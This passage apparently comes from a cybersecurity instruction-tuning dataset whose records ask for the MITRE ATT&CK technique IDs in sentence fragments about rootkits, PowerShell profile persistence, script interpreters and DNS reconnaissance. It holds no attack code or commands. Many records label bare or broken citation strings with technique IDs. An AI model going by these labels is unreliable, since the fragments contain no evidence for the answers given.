it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.", "output": "T1014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. ### Response: T1014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.", "output": "T1014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. ### Response: T1014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001).", "output": "T1014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). ### Response: T1014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia Rootkit)", "output": "T1014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia Rootkit) ### Response: T1014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rootkits have been seen for Windows, Linux, and Mac OS X systems.", "output": "T1014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rootkits have been seen for Windows, Linux, and Mac OS X systems. ### Response: T1014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", "output": "T1014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) ### Response: T1014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An administrator can also configure a profile that applies to all users and host programs on the local computer.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An administrator can also configure a profile that applies to all users and host programs on the local computer. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft About Profiles)", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft About Profiles) ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: ESET Turla PowerShell May 2019)", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: ESET Turla PowerShell May 2019) ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wits End and Shady PowerShell Profiles)", "output": "T1546.013", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wits End and Shady PowerShell Profiles) ### Response: T1546.013."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse various implementations of JavaScript for execution.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse various implementations of JavaScript for execution. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "JScript is the Microsoft implementation of the same scripting standard.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: JScript is the Microsoft implementation of the same scripting standard. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002).", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation:", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple About Mac Scripting 2016)(Citation:", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple About Mac Scripting 2016)(Citation: ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpecterOps JXA 2020)(Citation:", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpecterOps JXA 2020)(Citation: ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode) ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse various implementations of JavaScript to execute various behaviors.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse various implementations of JavaScript to execute various behaviors. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's networks that can be used during targeting.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's networks that can be used during targeting. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1590", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1590."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's DNS that can be used during targeting.", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's DNS that can be used during targeting. ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation:", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sean Metcalf Twitter DNS Records)", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sean Metcalf Twitter DNS Records) ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001).", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation:", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Systemd services can be used to establish persistence on a Linux system.", "output": "T1501", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Systemd 